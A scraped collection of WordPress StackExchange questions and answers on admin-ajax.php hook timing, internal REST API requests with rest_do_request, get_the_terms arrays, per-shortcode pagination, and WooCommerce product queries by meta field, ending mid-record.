[ { "answer_id": 291303, "author": "swissspidy", "author_id": 12404, "author_profile": "https://wordpress.stackexchange.com/users/12404", "pm_score": 5, "selected": true, "text": "<p>I think the only thing missing here is that you need to move <code>add_action('wp_ajax_nopriv_ajaxlogin','ajax_login');</code> outside <code>ajax_login_init</code>.</p>\n\n<p>That code registers your Ajax handler, but when you only run it on <code>wp_enqueue_scripts</code>, it's already too late and <code>wp_ajax_nopriv_</code> hooks are already run.</p>\n\n<p>So, have you tried something like this:</p>\n\n<pre><code>function ajax_login_init(){\n if ( ! is_user_logged_in() || ! is_page( 'page-test' ) ) {\n return;\n }\n\n wp_register_script('ajax-login-script',get_stylesheet_directory_uri().'/js/ajax-login-script.js',array('jquery'));\n wp_enqueue_script('ajax-login-script');\n wp_localize_script('ajax-login-script','ajax_login_object',array('ajaxurl' =&gt; admin_url('admin-ajax.php'),'redirecturl' =&gt; 'REDIRECT_URL_HERE','loadingmessage' =&gt; __('Sending user info, please wait...')));\n}\n\nadd_action( 'wp_enqueue_scripts','ajax_login_init' );\n\nadd_action( 'wp_ajax_nopriv_ajaxlogin','ajax_login' );\n\nfunction ajax_login(){\n //nonce-field is created on page\n check_ajax_referer('ajax-login-nonce','security');\n //CODE\n die();\n}\n</code></pre>\n\n<p><strong>Edit:</strong></p>\n\n<p>Now it's more clear that you only want to load the JavaScript on that particular page. This means you need to put your <code>is_page()</code> inside <code>ajax_login_init()</code>. I've updated the code accordingly.</p>\n\n<p>Now, why didn't your solution work?</p>\n\n<p>The <code>is_page()</code> check meant that your functions file was only loaded on that specific page. <code>ajax_login_init()</code> gets called and your scripts enqueued. So far so good.</p>\n\n<p>Now your script makes the ajax call. As mentioned in the comments, ajax calls are not aware of the current page you're on. There's a reason the file sits at <code>wp-admin/admin-ajax.php</code>. There's no <code>WP_Query</code> and thus <code>is_page()</code> does not work during an ajax request.</p>\n\n<p>Since that does not work, <code>sw18_page_specific_functions()</code> won't do anything in an ajax context. This means your functions file is not loaded and your ajax handler does not exist.</p>\n\n<p>That's why you need to always include that functions file and move that <code>is_page()</code> check inside <code>ajax_login_init()</code>.</p>\n\n<p>So instead of <code>sw18_page_specific_functions() { … }</code> just run <code>include_once dirname(__FILE__).'/includes/my-page-test-functions.php';</code> directly. Without any <code>add_action( 'parse_query' )</code> call. </p>\n" }, { "answer_id": 318984, "author": "ZEe XhAn", "author_id": 153939, "author_profile": "https://wordpress.stackexchange.com/users/153939", "pm_score": -1, "selected": false, "text": "<p>just write die; at the end like below...<a href=\"https://i.stack.imgur.com/Qlnzj.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Qlnzj.png\" alt=\"enter image description here\"></a></p>\n" }, { "answer_id": 334363, "author": "Mohd Abdul Mujib", "author_id": 59957, "author_profile": "https://wordpress.stackexchange.com/users/59957", "pm_score": 0, "selected": false, "text": "<p>Remember to have the 'action' function name appended to the <code>wp_ajax_</code> tag.</p>\n\n<pre><code>function fetchorderrows() { // Want to run this func on ajax submit\n // Do awesome things here all day long\n}\n\nadd_action('wp_ajax_fetchorderrows', 'fetchorderrows', 0);\n</code></pre>\n" }, { "answer_id": 378373, "author": "Deepak Rajpal", "author_id": 28526, "author_profile": "https://wordpress.stackexchange.com/users/28526", "pm_score": -1, "selected": false, "text": "<p>In case someone is using class based approach and having ajax 400 issue, you may need to move ajax handles outside class (try in main plugin file) and use class and method in second argument.</p>\n<pre><code>add_action( 'wp_ajax_your_handle', [ 'Class_Name', 'function_name' ] );\nadd_action( 'wp_ajax_nopriv_your_handle', [ 'Class_Name', 'function_name' ] );\n</code></pre>\n" } ]
2018/01/17
[ "https://wordpress.stackexchange.com/questions/291301", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129895/" ]
I've been working on ajax lately. The tutorials you find on the net are all very similar and quite easy to implement. But I always get a **bad request 400** on my `ajax-admin.php` file. After a long and intensive search, I have now found out that's because of the time of integration. If I use the `init` action hook to initialize script and `wp_localize_script`, everything works fine. So the code itself must be correct. *my-page-test-functions.php* ``` function ajax_login_init(){ wp_register_script('ajax-login-script',get_stylesheet_directory_uri().'/js/ajax-login-script.js',array('jquery')); wp_enqueue_script('ajax-login-script'); wp_localize_script('ajax-login-script','ajax_login_object',array('ajaxurl' => admin_url('admin-ajax.php'),'redirecturl' => 'REDIRECT_URL_HERE','loadingmessage' => __('Sending user info, please wait...'))); add_action('wp_ajax_nopriv_ajaxlogin','ajax_login'); } if(!is_user_logged_in()){ add_action('init','ajax_login_init'); } function ajax_login(){ //nonce-field is created on page check_ajax_referer('ajax-login-nonce','security'); //CODE die(); } ``` But if I use e.g. `wp_enqeue_scripts` action hook I always get the bad request. ``` if(!is_user_logged_in()){ add_action('wp_enqueue_scripts','ajax_login_init'); } ``` The problem with this is: I would like to have the functions in an extra php file and load them only if they are needed on a particular page. For this I need, for example `is_page()`. But `is_page()` works at the earliest when I hook the function with the include into the `parse_query` action hook: *functions.php* ``` function sw18_page_specific_functions(){ if(is_page('page-test')){ include_once dirname(__FILE__).'/includes/my-page-test-functions.php'; } } add_action('parse_query','sw18_page_specific_functions'); ``` So then functions hooked to `init` hook in `my-page-test-functions.php` file does not triggered, I suppose, because `init` comes before `parse_query`. **Is there a best practices to organize this, so it works? Or how can I fix the `admin-ajax.php` bad request when using the `wp_enqeue_scripts` action hook?**
I think the only thing missing here is that you need to move `add_action('wp_ajax_nopriv_ajaxlogin','ajax_login');` outside `ajax_login_init`. That code registers your Ajax handler, but when you only run it on `wp_enqueue_scripts`, it's already too late and `wp_ajax_nopriv_` hooks are already run. So, have you tried something like this: ``` function ajax_login_init(){ if ( ! is_user_logged_in() || ! is_page( 'page-test' ) ) { return; } wp_register_script('ajax-login-script',get_stylesheet_directory_uri().'/js/ajax-login-script.js',array('jquery')); wp_enqueue_script('ajax-login-script'); wp_localize_script('ajax-login-script','ajax_login_object',array('ajaxurl' => admin_url('admin-ajax.php'),'redirecturl' => 'REDIRECT_URL_HERE','loadingmessage' => __('Sending user info, please wait...'))); } add_action( 'wp_enqueue_scripts','ajax_login_init' ); add_action( 'wp_ajax_nopriv_ajaxlogin','ajax_login' ); function ajax_login(){ //nonce-field is created on page check_ajax_referer('ajax-login-nonce','security'); //CODE die(); } ``` **Edit:** Now it's more clear that you only want to load the JavaScript on that particular page. This means you need to put your `is_page()` inside `ajax_login_init()`. I've updated the code accordingly. Now, why didn't your solution work? The `is_page()` check meant that your functions file was only loaded on that specific page. `ajax_login_init()` gets called and your scripts enqueued. So far so good. Now your script makes the ajax call. As mentioned in the comments, ajax calls are not aware of the current page you're on. There's a reason the file sits at `wp-admin/admin-ajax.php`. There's no `WP_Query` and thus `is_page()` does not work during an ajax request. Since that does not work, `sw18_page_specific_functions()` won't do anything in an ajax context. This means your functions file is not loaded and your ajax handler does not exist. That's why you need to always include that functions file and move that `is_page()` check inside `ajax_login_init()`. So instead of `sw18_page_specific_functions() { … }` just run `include_once dirname(__FILE__).'/includes/my-page-test-functions.php';` directly. Without any `add_action( 'parse_query' )` call.
291,307
<p>This is simple posts result array.</p> <pre><code>$query = new WP_Query( array( 'post_type' =&gt; 'post' ) ); $posts = $query-&gt;posts; // returns simple array of data </code></pre> <p>Is there a way to get the results from wp-json/wp/v2/posts/?_embed without making extra request to server to pull json and then decode to php array?</p> <p>Looking for something like that:</p> <pre><code>$posts = $query-&gt;rest_posts(); // for example ?? </code></pre>
[ { "answer_id": 291338, "author": "Janiis", "author_id": 43543, "author_profile": "https://wordpress.stackexchange.com/users/43543", "pm_score": 0, "selected": false, "text": "<p>After digging into source code ended up with this solution. Works for me, might be useful to others as well.</p>\n\n<pre><code>function get_rest_items_query($post_type, $posts_per_page, $orderby = 'date', $order = 'desc') {\n\n $result = array();\n $args = array( 'post_type' =&gt; $post_type, 'posts_per_page' =&gt; $posts_per_page, 'orderby' =&gt; $orderby, 'order' =&gt; $order );\n $posts = get_posts($args);\n\n $ids = implode(',', wp_list_pluck($posts, 'ID'));\n\n // request\n $restRequest = new WP_REST_Request('GET', '/wp/v2/' . $post_type );\n $restRequest-&gt;set_param('include', $ids);\n // response\n $response = rest_do_request( $restRequest );\n // _embed\n $rest = rest_get_server()-&gt;response_to_data( $response, true );\n\n $result['posts'] = $rest;\n\n return $result;\n}\n</code></pre>\n" }, { "answer_id": 291340, "author": "birgire", "author_id": 26350, "author_profile": "https://wordpress.stackexchange.com/users/26350", "pm_score": 3, "selected": true, "text": "<p>I think we can simplify it with:</p>\n\n<pre><code>$request = new WP_REST_Request( 'GET', '/wp/v2/posts' );\n$response = rest_do_request( $request );\n$data = rest_get_server()-&gt;response_to_data( $response, true );\n</code></pre>\n\n<p>by using <a href=\"https://developer.wordpress.org/reference/functions/rest_do_request/\" rel=\"nofollow noreferrer\"><code>rest_do_request()</code></a>.</p>\n" } ]
2018/01/17
[ "https://wordpress.stackexchange.com/questions/291307", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/43543/" ]
This is simple posts result array. ``` $query = new WP_Query( array( 'post_type' => 'post' ) ); $posts = $query->posts; // returns simple array of data ``` Is there a way to get the results from wp-json/wp/v2/posts/?\_embed without making extra request to server to pull json and then decode to php array? Looking for something like that: ``` $posts = $query->rest_posts(); // for example ?? ```
I think we can simplify it with: ``` $request = new WP_REST_Request( 'GET', '/wp/v2/posts' ); $response = rest_do_request( $request ); $data = rest_get_server()->response_to_data( $response, true ); ``` by using [`rest_do_request()`](https://developer.wordpress.org/reference/functions/rest_do_request/).
291,329
<p>I'm working on a query to show related items op a CPT by the term assigned to the current post.</p> <p>I already have the code to complete the query but don't get it why my initial code returns a NULL</p> <p>To get the term assigned to the post I'm using this code </p> <pre><code>$terms = get_the_terms( $post-&gt;ID, 'taxonomy_name' ); </code></pre> <p>If I do a var_dump of the <code>$terms</code> I get this in return</p> <pre><code>array(1) { [0]=&gt; object(WP_Term)#1423 (10) { ["term_id"]=&gt; int(5) ["name"]=&gt; string(6) "Bilbao" ["slug"]=&gt; string(6) "bilbao" ["term_group"]=&gt; int(0) ["term_taxonomy_id"]=&gt; int(5) ["taxonomy"]=&gt; string(15) "taxonomy_name" ["description"]=&gt; string(0) "" ["parent"]=&gt; int(0) ["count"]=&gt; int(2) ["filter"]=&gt; string(3) "raw" } } </code></pre> <p>To use the slug in my wp_query I thought I could use <code>$terms-&gt;slug</code>. However this returns a NULL.</p> <p>After doing a search I found that this adjustment solved the issue <code>foreach ( $terms as $term )</code> and then <code>$term-&gt;slug</code></p> <p>I only don't understand why I should use the for each part and can't use the string of the <code>$terms</code> in my query. Can someone explain me that?</p>
[ { "answer_id": 291338, "author": "Janiis", "author_id": 43543, "author_profile": "https://wordpress.stackexchange.com/users/43543", "pm_score": 0, "selected": false, "text": "<p>After digging into source code ended up with this solution. Works for me, might be useful to others as well.</p>\n\n<pre><code>function get_rest_items_query($post_type, $posts_per_page, $orderby = 'date', $order = 'desc') {\n\n $result = array();\n $args = array( 'post_type' =&gt; $post_type, 'posts_per_page' =&gt; $posts_per_page, 'orderby' =&gt; $orderby, 'order' =&gt; $order );\n $posts = get_posts($args);\n\n $ids = implode(',', wp_list_pluck($posts, 'ID'));\n\n // request\n $restRequest = new WP_REST_Request('GET', '/wp/v2/' . $post_type );\n $restRequest-&gt;set_param('include', $ids);\n // response\n $response = rest_do_request( $restRequest );\n // _embed\n $rest = rest_get_server()-&gt;response_to_data( $response, true );\n\n $result['posts'] = $rest;\n\n return $result;\n}\n</code></pre>\n" }, { "answer_id": 291340, "author": "birgire", "author_id": 26350, "author_profile": "https://wordpress.stackexchange.com/users/26350", "pm_score": 3, "selected": true, "text": "<p>I think we can simplify it with:</p>\n\n<pre><code>$request = new WP_REST_Request( 'GET', '/wp/v2/posts' );\n$response = rest_do_request( $request );\n$data = rest_get_server()-&gt;response_to_data( $response, true );\n</code></pre>\n\n<p>by using <a href=\"https://developer.wordpress.org/reference/functions/rest_do_request/\" rel=\"nofollow noreferrer\"><code>rest_do_request()</code></a>.</p>\n" } ]
2018/01/17
[ "https://wordpress.stackexchange.com/questions/291329", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/28103/" ]
I'm working on a query to show related items op a CPT by the term assigned to the current post. I already have the code to complete the query but don't get it why my initial code returns a NULL To get the term assigned to the post I'm using this code ``` $terms = get_the_terms( $post->ID, 'taxonomy_name' ); ``` If I do a var\_dump of the `$terms` I get this in return ``` array(1) { [0]=> object(WP_Term)#1423 (10) { ["term_id"]=> int(5) ["name"]=> string(6) "Bilbao" ["slug"]=> string(6) "bilbao" ["term_group"]=> int(0) ["term_taxonomy_id"]=> int(5) ["taxonomy"]=> string(15) "taxonomy_name" ["description"]=> string(0) "" ["parent"]=> int(0) ["count"]=> int(2) ["filter"]=> string(3) "raw" } } ``` To use the slug in my wp\_query I thought I could use `$terms->slug`. However this returns a NULL. After doing a search I found that this adjustment solved the issue `foreach ( $terms as $term )` and then `$term->slug` I only don't understand why I should use the for each part and can't use the string of the `$terms` in my query. Can someone explain me that?
I think we can simplify it with: ``` $request = new WP_REST_Request( 'GET', '/wp/v2/posts' ); $response = rest_do_request( $request ); $data = rest_get_server()->response_to_data( $response, true ); ``` by using [`rest_do_request()`](https://developer.wordpress.org/reference/functions/rest_do_request/).
291,335
<p>I have some shortcode that I am using. The shortcode itself is working. The shortcode has pagination because it's cycling through a picture gallery.</p> <p>The pagination itself works, but when it advances, it also advances the pagination for other picture galleries that are using the same shortcode.</p> <p>My question is, how can I have the same shortcode, but only advance that specific gallery when I use the pagination, instead of advancing all the galleries using that shortcode? For example, if I click on page 2 for gallery 2017, gallery 2016 stays on page 1.</p> <p>The shortcode I am using on the page looks like: <code>[halloffame rml_folder="16"]</code> and <code>[halloffame rml_folder="14"]</code></p> <p>The actual shortcode in my functions file looks like:</p> <pre><code>function picture_gallery($atts){ extract(shortcode_atts(array( 'rml_folder' =&gt; 1 ), $atts)); $paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1; query_posts("post_status=inherit&amp;post_type=attachment&amp;rml_folder=".$rml_folder."&amp;orderby=title&amp;order=asc&amp;posts_per_page=12&amp;paged=".$paged); if ( have_posts() ) : $return_string .= '&lt;div id="album"&gt;'; while ( have_posts() ) : the_post(); $return_string .= '&lt;div class="gallery"&gt;'; $image = wp_get_attachment_image(get_post_thumbnail_id($post-&gt;ID), 'medium'); $return_string .= '&lt;a href="'.wp_get_attachment_url($post-&gt;ID).'" class="simplelightbox"&gt;'.$image.'&lt;/a&gt;'; $return_string .= '&lt;/div&gt;'; endwhile; $return_string .= '&lt;/div&gt;'; endif; $return_string .= '&lt;div id="pagi"&gt;'; $return_string .= '&lt;div class="wrap"&gt;'; $args = array( 'prev_text' =&gt; __('&lt;span class="left"&gt;&lt;/span&gt;&lt;span class="ion-android-arrow-dropleft"&gt;&lt;/span&gt;'), 'next_text' =&gt; __('&lt;span class="ion-android-arrow-dropright"&gt;&lt;/span&gt;&lt;span class="right"&gt;&lt;/span&gt;') ); $return_string .= paginate_links($args); $return_string .= '&lt;/div&gt;'; $return_string .= '&lt;/div&gt;'; global $wp_query; $current_page = get_query_var( 'paged' ); $pages = $wp_query-&gt;max_num_pages; $return_string .= '&lt;p align="center"&gt;(Page: '.$current_page.' of '.$pages.')&lt;/p&gt;'; wp_reset_query(); return $return_string; } function register_shortcodes(){ add_shortcode('halloffame', 'picture_gallery'); } add_action( 'init', 'register_shortcodes'); </code></pre> <p>I'm definitely not tied to this code, if there is a better way to do this, please don't hesitate!</p> <p>Any ideas?</p> <p>** UPDATE ** I have updated my shortcode to use <code>WP_Query</code> instead of <code>query_posts</code>, my code is similar, but now looks like:</p> <pre><code>function picture_gallery($atts){ extract(shortcode_atts(array( 'rml_folder' =&gt; 1 ), $atts)); $paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1; $picture_gallery = new WP_Query(array( 'post_status' =&gt; 'inherit', 'post_type' =&gt; 'attachment', 'rml_folder' =&gt; $rml_folder, 'orderby' =&gt; 'title', 'order' =&gt; 'asc', 'posts_per_page' =&gt; 12, 'paged' =&gt; $paged )); if ( $picture_gallery-&gt;have_posts() ) : $return_string .= '&lt;div id="album"&gt;'; while ( $picture_gallery-&gt;have_posts() ) : $picture_gallery-&gt;the_post(); $return_string .= '&lt;div class="gallery"&gt;'; $image = wp_get_attachment_image(get_post_thumbnail_id($post-&gt;ID), 'medium'); $return_string .= '&lt;a href="'.wp_get_attachment_url($post-&gt;ID).'" class="simplelightbox"&gt;'.$image.'&lt;/a&gt;'; $return_string .= '&lt;/div&gt;'; endwhile; $return_string .= '&lt;/div&gt;'; endif; $return_string .= '&lt;div id="pagi"&gt;'; $return_string .= '&lt;div class="wrap"&gt;'; $return_string .= paginate_links(array( 'prev_text' =&gt; __('&lt;span class="left"&gt;&lt;/span&gt;&lt;span class="ion-android-arrow-dropleft"&gt;&lt;/span&gt;'), 'next_text' =&gt; __('&lt;span class="ion-android-arrow-dropright"&gt;&lt;/span&gt;&lt;span class="right"&gt;&lt;/span&gt;'), 'total' =&gt; $picture_gallery-&gt;max_num_pages )); $return_string .= '&lt;/div&gt;'; $return_string .= '&lt;/div&gt;'; $current = get_query_var( 'paged' ); $total = $picture_gallery-&gt;max_num_pages; $return_string .= '&lt;p align="center"&gt;(Page: '.$current.' of '.$total.')&lt;/p&gt;'; return $return_string; wp_reset_query(); } function register_shortcodes(){ add_shortcode('halloffame', 'picture_gallery'); } add_action( 'init', 'register_shortcodes'); </code></pre> <p>Now, I'm back to my original problem, which is the pagination for my shortcode advances all multiple queries on the same page...still looking into that.</p> <p>Thanks,<br /> Josh</p>
[ { "answer_id": 291338, "author": "Janiis", "author_id": 43543, "author_profile": "https://wordpress.stackexchange.com/users/43543", "pm_score": 0, "selected": false, "text": "<p>After digging into source code ended up with this solution. Works for me, might be useful to others as well.</p>\n\n<pre><code>function get_rest_items_query($post_type, $posts_per_page, $orderby = 'date', $order = 'desc') {\n\n $result = array();\n $args = array( 'post_type' =&gt; $post_type, 'posts_per_page' =&gt; $posts_per_page, 'orderby' =&gt; $orderby, 'order' =&gt; $order );\n $posts = get_posts($args);\n\n $ids = implode(',', wp_list_pluck($posts, 'ID'));\n\n // request\n $restRequest = new WP_REST_Request('GET', '/wp/v2/' . $post_type );\n $restRequest-&gt;set_param('include', $ids);\n // response\n $response = rest_do_request( $restRequest );\n // _embed\n $rest = rest_get_server()-&gt;response_to_data( $response, true );\n\n $result['posts'] = $rest;\n\n return $result;\n}\n</code></pre>\n" }, { "answer_id": 291340, "author": "birgire", "author_id": 26350, "author_profile": "https://wordpress.stackexchange.com/users/26350", "pm_score": 3, "selected": true, "text": "<p>I think we can simplify it with:</p>\n\n<pre><code>$request = new WP_REST_Request( 'GET', '/wp/v2/posts' );\n$response = rest_do_request( $request );\n$data = rest_get_server()-&gt;response_to_data( $response, true );\n</code></pre>\n\n<p>by using <a href=\"https://developer.wordpress.org/reference/functions/rest_do_request/\" rel=\"nofollow noreferrer\"><code>rest_do_request()</code></a>.</p>\n" } ]
2018/01/17
[ "https://wordpress.stackexchange.com/questions/291335", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/9820/" ]
I have some shortcode that I am using. The shortcode itself is working. The shortcode has pagination because it's cycling through a picture gallery. The pagination itself works, but when it advances, it also advances the pagination for other picture galleries that are using the same shortcode. My question is, how can I have the same shortcode, but only advance that specific gallery when I use the pagination, instead of advancing all the galleries using that shortcode? For example, if I click on page 2 for gallery 2017, gallery 2016 stays on page 1. The shortcode I am using on the page looks like: `[halloffame rml_folder="16"]` and `[halloffame rml_folder="14"]` The actual shortcode in my functions file looks like: ``` function picture_gallery($atts){ extract(shortcode_atts(array( 'rml_folder' => 1 ), $atts)); $paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1; query_posts("post_status=inherit&post_type=attachment&rml_folder=".$rml_folder."&orderby=title&order=asc&posts_per_page=12&paged=".$paged); if ( have_posts() ) : $return_string .= '<div id="album">'; while ( have_posts() ) : the_post(); $return_string .= '<div class="gallery">'; $image = wp_get_attachment_image(get_post_thumbnail_id($post->ID), 'medium'); $return_string .= '<a href="'.wp_get_attachment_url($post->ID).'" class="simplelightbox">'.$image.'</a>'; $return_string .= '</div>'; endwhile; $return_string .= '</div>'; endif; $return_string .= '<div id="pagi">'; $return_string .= '<div class="wrap">'; $args = array( 'prev_text' => __('<span class="left"></span><span class="ion-android-arrow-dropleft"></span>'), 'next_text' => __('<span class="ion-android-arrow-dropright"></span><span class="right"></span>') ); $return_string .= paginate_links($args); $return_string .= '</div>'; $return_string .= '</div>'; global $wp_query; $current_page = get_query_var( 'paged' ); $pages = $wp_query->max_num_pages; $return_string .= '<p align="center">(Page: '.$current_page.' of '.$pages.')</p>'; wp_reset_query(); return $return_string; } function register_shortcodes(){ add_shortcode('halloffame', 'picture_gallery'); } add_action( 'init', 'register_shortcodes'); ``` I'm definitely not tied to this code, if there is a better way to do this, please don't hesitate! Any ideas? \*\* UPDATE \*\* I have updated my shortcode to use `WP_Query` instead of `query_posts`, my code is similar, but now looks like: ``` function picture_gallery($atts){ extract(shortcode_atts(array( 'rml_folder' => 1 ), $atts)); $paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1; $picture_gallery = new WP_Query(array( 'post_status' => 'inherit', 'post_type' => 'attachment', 'rml_folder' => $rml_folder, 'orderby' => 'title', 'order' => 'asc', 'posts_per_page' => 12, 'paged' => $paged )); if ( $picture_gallery->have_posts() ) : $return_string .= '<div id="album">'; while ( $picture_gallery->have_posts() ) : $picture_gallery->the_post(); $return_string .= '<div class="gallery">'; $image = wp_get_attachment_image(get_post_thumbnail_id($post->ID), 'medium'); $return_string .= '<a href="'.wp_get_attachment_url($post->ID).'" class="simplelightbox">'.$image.'</a>'; $return_string .= '</div>'; endwhile; $return_string .= '</div>'; endif; $return_string .= '<div id="pagi">'; $return_string .= '<div class="wrap">'; $return_string .= paginate_links(array( 'prev_text' => __('<span class="left"></span><span class="ion-android-arrow-dropleft"></span>'), 'next_text' => __('<span class="ion-android-arrow-dropright"></span><span class="right"></span>'), 'total' => $picture_gallery->max_num_pages )); $return_string .= '</div>'; $return_string .= '</div>'; $current = get_query_var( 'paged' ); $total = $picture_gallery->max_num_pages; $return_string .= '<p align="center">(Page: '.$current.' of '.$total.')</p>'; return $return_string; wp_reset_query(); } function register_shortcodes(){ add_shortcode('halloffame', 'picture_gallery'); } add_action( 'init', 'register_shortcodes'); ``` Now, I'm back to my original problem, which is the pagination for my shortcode advances all multiple queries on the same page...still looking into that. Thanks, Josh
I think we can simplify it with: ``` $request = new WP_REST_Request( 'GET', '/wp/v2/posts' ); $response = rest_do_request( $request ); $data = rest_get_server()->response_to_data( $response, true ); ``` by using [`rest_do_request()`](https://developer.wordpress.org/reference/functions/rest_do_request/).
291,374
<p>I need to get product ID from an array of custom field, I have this code to find all product with the same custom field, after deleting all duplicate custom field value, I need to retrieve product id for all custom field:</p> <pre><code>&lt;?php // Get all product cip by category $product_args = array( 'post_type' =&gt; 'product', 'no_found_rows' =&gt; true, // Skips SQL to count rows - a speed improvement. 'post_status' =&gt; 'publish', 'ignore_sticky_posts' =&gt; true, // Don't move sticky posts to top - a speed improvement. 'posts_per_page' =&gt; -1, 'fields' =&gt; 'ids', // Only return product IDs ); if (!empty($str_ArrayChild)) { $product_args['tax_query'] = array( array( 'taxonomy' =&gt; 'product_cat', 'field' =&gt; 'id', 'terms' =&gt; $str_ArrayChild, 'operator' =&gt; 'IN', )); } $products = get_posts($product_args); // Search CIP by product ID foreach ( $products as $id ) { $cip = $product_obj['product_cip']=get_post_meta($id,'product_cip'); //echo 'Cip = '.$cip[0].', '; $arrayCip[] = $cip[0]; } echo '&lt;b&gt;TotalNumberOfCIP = '.count($arrayCip).'&lt;/b&gt;'; // Remove same cip $result = array_unique($arrayCip); //print_r($result); echo '&lt;b&gt;TotalNumberOfUniqueCIP = '.count($result).'&lt;/b&gt;'; // trace Unique Cip list /*foreach ($arrayCip as $v) { echo $v; } </code></pre> <p>Here I need to find all ID's of <code>$arrayCip</code> (customfield named <code>product_cip</code>)</p>
[ { "answer_id": 291394, "author": "Dharmishtha Patel", "author_id": 135085, "author_profile": "https://wordpress.stackexchange.com/users/135085", "pm_score": 2, "selected": true, "text": "<pre><code>$product = array(\n 'post_type' =&gt; 'product',\n 'post_status' =&gt; 'publish',\n 'posts_per_page' =&gt; -1,\n 'meta_query' =&gt; array(\n array(\n 'key' =&gt; 'product_cip',\n 'value' =&gt; 'some value',\n 'compare' =&gt; '=',\n )\n ),\n 'fields' =&gt; 'ids',\n);\n\n\n$product_post = get_posts($product);\necho count($product_post);\n</code></pre>\n\n<p>if you have get all products data</p>\n\n<pre><code>$products_array = array();\nforeach ($product_post as $v){\n $_product = wc_get_product($v);\n echo $_product-&gt;get_name().',';\n $products_array[] = $_product;\n}\n</code></pre>\n" }, { "answer_id": 291426, "author": "ilanb", "author_id": 114157, "author_profile": "https://wordpress.stackexchange.com/users/114157", "pm_score": 0, "selected": false, "text": "<p>Ok founded!</p>\n\n<pre><code>foreach ($result as $v)\n {\n $product=array(\n 'post_type' =&gt; 'product',\n 'post_status' =&gt; 'publish',\n 'posts_per_page'=&gt; -1,\n 'meta_query' =&gt; array(\n array( 'key' =&gt;\n 'product_cip',\n 'value' =&gt; $v,\n 'compare'=&gt; '=' ) ),\n 'fields' =&gt; 'ids'\n );\n $product_post=get_posts($product);\n //echo $product_post[0].', ';\n $a[] = $product_post[0];\n //echo count($product_post);\n }\n //echo ' ProductID count = '.count($a).' ';\n\n // If products exist, show products\n if(count($a) &gt; 0)\n {\n $productArrayForShortcode = implode(\",\", $a);\n echo do_shortcode('[products ids=\"' . $productArrayForShortcode . '\" per_page=\"8\" columns=\"4\" pagination=\"true\"]');\n }\n</code></pre>\n\n<p>Thanks for the tip @Dharmishtha</p>\n" } ]
2018/01/17
[ "https://wordpress.stackexchange.com/questions/291374", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/114157/" ]
I need to get product ID from an array of custom field, I have this code to find all product with the same custom field, after deleting all duplicate custom field value, I need to retrieve product id for all custom field: ``` <?php // Get all product cip by category $product_args = array( 'post_type' => 'product', 'no_found_rows' => true, // Skips SQL to count rows - a speed improvement. 'post_status' => 'publish', 'ignore_sticky_posts' => true, // Don't move sticky posts to top - a speed improvement. 'posts_per_page' => -1, 'fields' => 'ids', // Only return product IDs ); if (!empty($str_ArrayChild)) { $product_args['tax_query'] = array( array( 'taxonomy' => 'product_cat', 'field' => 'id', 'terms' => $str_ArrayChild, 'operator' => 'IN', )); } $products = get_posts($product_args); // Search CIP by product ID foreach ( $products as $id ) { $cip = $product_obj['product_cip']=get_post_meta($id,'product_cip'); //echo 'Cip = '.$cip[0].', '; $arrayCip[] = $cip[0]; } echo '<b>TotalNumberOfCIP = '.count($arrayCip).'</b>'; // Remove same cip $result = array_unique($arrayCip); //print_r($result); echo '<b>TotalNumberOfUniqueCIP = '.count($result).'</b>'; // trace Unique Cip list /*foreach ($arrayCip as $v) { echo $v; } ``` Here I need to find all ID's of `$arrayCip` (customfield named `product_cip`)
``` $product = array( 'post_type' => 'product', 'post_status' => 'publish', 'posts_per_page' => -1, 'meta_query' => array( array( 'key' => 'product_cip', 'value' => 'some value', 'compare' => '=', ) ), 'fields' => 'ids', ); $product_post = get_posts($product); echo count($product_post); ``` if you have get all products data ``` $products_array = array(); foreach ($product_post as $v){ $_product = wc_get_product($v); echo $_product->get_name().','; $products_array[] = $_product; } ```
291,402
<p>By importing orders from Amazon in WooCommerce and creating WooCommerce orders programmatically, emails for new order or order status changing are sent.</p> <p>Is it possible to prevent this email sending at least on new order creation? I could use a condition on a custom field value, but what actions/filters I have to use?</p> <p><strong>EDIT</strong></p> <p>I'm testing <code>woocommerce_email_enabled_new_order</code>, <code>woocommerce_email_enabled_customer_completed_order</code> and <code>woocommerce_email_enabled_customer_processing_order</code>filters together with custom settings and for now it seems to work.</p>
[ { "answer_id": 291394, "author": "Dharmishtha Patel", "author_id": 135085, "author_profile": "https://wordpress.stackexchange.com/users/135085", "pm_score": 2, "selected": true, "text": "<pre><code>$product = array(\n 'post_type' =&gt; 'product',\n 'post_status' =&gt; 'publish',\n 'posts_per_page' =&gt; -1,\n 'meta_query' =&gt; array(\n array(\n 'key' =&gt; 'product_cip',\n 'value' =&gt; 'some value',\n 'compare' =&gt; '=',\n )\n ),\n 'fields' =&gt; 'ids',\n);\n\n\n$product_post = get_posts($product);\necho count($product_post);\n</code></pre>\n\n<p>if you have get all products data</p>\n\n<pre><code>$products_array = array();\nforeach ($product_post as $v){\n $_product = wc_get_product($v);\n echo $_product-&gt;get_name().',';\n $products_array[] = $_product;\n}\n</code></pre>\n" }, { "answer_id": 291426, "author": "ilanb", "author_id": 114157, "author_profile": "https://wordpress.stackexchange.com/users/114157", "pm_score": 0, "selected": false, "text": "<p>Ok founded!</p>\n\n<pre><code>foreach ($result as $v)\n {\n $product=array(\n 'post_type' =&gt; 'product',\n 'post_status' =&gt; 'publish',\n 'posts_per_page'=&gt; -1,\n 'meta_query' =&gt; array(\n array( 'key' =&gt;\n 'product_cip',\n 'value' =&gt; $v,\n 'compare'=&gt; '=' ) ),\n 'fields' =&gt; 'ids'\n );\n $product_post=get_posts($product);\n //echo $product_post[0].', ';\n $a[] = $product_post[0];\n //echo count($product_post);\n }\n //echo ' ProductID count = '.count($a).' ';\n\n // If products exist, show products\n if(count($a) &gt; 0)\n {\n $productArrayForShortcode = implode(\",\", $a);\n echo do_shortcode('[products ids=\"' . $productArrayForShortcode . '\" per_page=\"8\" columns=\"4\" pagination=\"true\"]');\n 